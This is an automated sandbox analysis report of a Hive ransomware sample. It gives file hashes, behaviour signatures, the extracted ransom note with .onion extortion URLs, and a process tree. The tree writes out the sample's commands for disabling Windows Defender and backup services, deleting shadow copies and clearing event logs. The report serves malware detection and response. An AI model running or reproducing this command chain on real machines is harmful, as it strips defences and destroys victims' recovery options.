Overview

overview

10

Static

static

3

VHO-Trojan...a33.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    288s
  • max time network
    289s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/03/2025, 17:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    VHO-Trojan-Ransom.Win32.Hive.dc-d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33.7z

  • Size

    902KB

  • MD5

    71bda678e703bdb64bcd3316b1c5ef71

  • SHA1

    8345a18f2a2d75f0a77f03562ed7856c2dcd038b

  • SHA256

    1dfccde2de5ee587770c66f98d39e9fdeab1c8c8d016c852bd4891a6076999ee

  • SHA512

    cd1abb60a56992a19c90251968f6adb1dd9406c33a635dd04d1b594e00415baaabfb0e6d4b8a57e50a23c746d4822f8e858bb833476afc278edbddc44a497319

  • SSDEEP

    24576:aWMQs2b3eFviBqj9T5NmvJe6xA99zwkNKptNIu:O2beFviBEtNmvs6xAeksptNIu

Score
10/10
hivedefense_evasiondiscoveryevasionexecutionimpactransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\Program Files\Common Files\DESIGNER\wFLb_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: W52KvHE3BsXH Password: LbYFVa6Kw45h4it4UzCU To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.euq5i files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 63 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\VHO-Trojan-Ransom.Win32.Hive.dc-d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2312
  • C:\Users\Admin\Desktop\VHO-Trojan-Ransom.Win32.Hive.dc-d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33.exe
    "C:\Users\Admin\Desktop\VHO-Trojan-Ransom.Win32.Hive.dc-d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33.exe"
    1⤵
    • Executes dropped EXE
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3128
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4332
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SDRSVC" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SDRSVC" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2832
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SstpSvc" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2160
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SstpSvc" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2452
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "vmicvss" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2352
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "vmicvss" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:440
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "VSS" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3044
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "VSS" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:408
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "wbengine" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4636
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "wbengine" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3648
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "WebClient" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3060
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "WebClient" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:228
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "UnistoreSvc_280a6" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2176
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "UnistoreSvc_280a6" /y
        3⤵
          PID:4196
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SamSs" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2556
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SDRSVC" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4524
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SstpSvc" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2312
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "vmicvss" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1548
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "VSS" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2340
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "wbengine" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3520
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "WebClient" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4532
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "UnistoreSvc_280a6" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:812
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
        2⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:2748
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1020
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        • System Location Discovery: System Language Discovery
        PID:4108
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2092
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2024
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:4548
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:3912
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:4468
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:2264
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:4440
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1840
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:3376
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:4588
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
        2⤵
          PID:1952
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2904
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4016
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1928
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2384
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4196
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4268
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4400
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
          2⤵
            PID:4040
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2808
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3504
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1652
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2196
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4496
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:4904
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:3528
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:4844
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:4932
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies security service
            • System Location Discovery: System Language Discovery
            PID:2252
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:5012
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil.exe cl system
            2⤵
            • Clears Windows event logs
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3568
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil.exe cl security
            2⤵
            • Clears Windows event logs
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2892
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil.exe cl application
            2⤵
            • Clears Windows event logs
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3564
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic.exe SHADOWCOPY /nointeractive
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:5004
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic.exe shadowcopy delete
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4464
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            2⤵
            • System Location Discovery: System Language Discovery
            PID:4072
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
            2⤵
            • System Location Discovery: System Language Discovery
            PID:3908
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-MpPreference -DisableIOAVProtection $true
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:228
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
            2⤵
              PID:3668
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableRealtimeMonitoring $true
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:3208
            • C:\Windows\SysWOW64\notepad.exe
              notepad.exe C:\wFLb_HOW_TO_DECRYPT.txt
              2⤵
              • System Location Discovery: System Language Discovery
              • Opens file in notepad (likely ransom note)
              PID:2980
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\Desktop\VHO-Trojan-Ransom.Win32.Hive.dc-d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33.exe"
              2⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:2600
              • C:\Windows\SysWOW64\PING.EXE
                ping.exe -n 5 127.0.0.1
                3⤵
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:2036
          • C:\Windows\system32\NOTEPAD.EXE
            "C:\Windows\system32\NOTEPAD.EXE" C:\wFLb_HOW_TO_DECRYPT.txt
            1⤵
            • Opens file in notepad (likely ransom note)
            • Suspicious use of FindShellTrayWindow
            PID:4712
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            1⤵
            • Enumerates system info in registry
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:556
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xb8,0x124,0x7ffdad7ecc40,0x7ffdad7ecc4c,0x7ffdad7ecc58
              2⤵
                PID:3624
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1872,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1864 /prefetch:2
                2⤵
                  PID:1692
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2208,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2220 /prefetch:3
                  2⤵
                  • Downloads MZ/PE file
                  PID:2492
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2280,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2292 /prefetch:8
                  2⤵
                    PID:4656
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3156,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3208 /prefetch:1
                    2⤵
                      PID:2620
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3416,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3436 /prefetch:1
                      2⤵
                        PID:3708
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4512,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4476 /prefetch:1
                        2⤵
                          PID:2756
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4680,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4656 /prefetch:8
                          2⤵
                            PID:2632
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4820,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4828 /prefetch:8
                            2⤵
                              PID:5036
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4560,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4688 /prefetch:1
                              2⤵
                                PID:5300
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4860,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4896 /prefetch:8
                                2⤵
                                  PID:5808
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5272,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5264 /prefetch:8
                                  2⤵
                                    PID:5872
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5280,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5420 /prefetch:8
                                    2⤵
                                      PID:5880
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=5460,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5560 /prefetch:8
                                      2⤵
                                        PID:5888
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3240,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3320 /prefetch:8
                                        2⤵
                                          PID:6004
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4936,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3320 /prefetch:8
                                          2⤵
                                            PID:3116
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3484,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3420 /prefetch:8
                                            2⤵
                                              PID:5368
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5472,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5552 /prefetch:8
                                              2⤵
                                                PID:5412
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4644,i,2827711864783550126,2365241507553144256,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5344 /prefetch:8
                                                2⤵
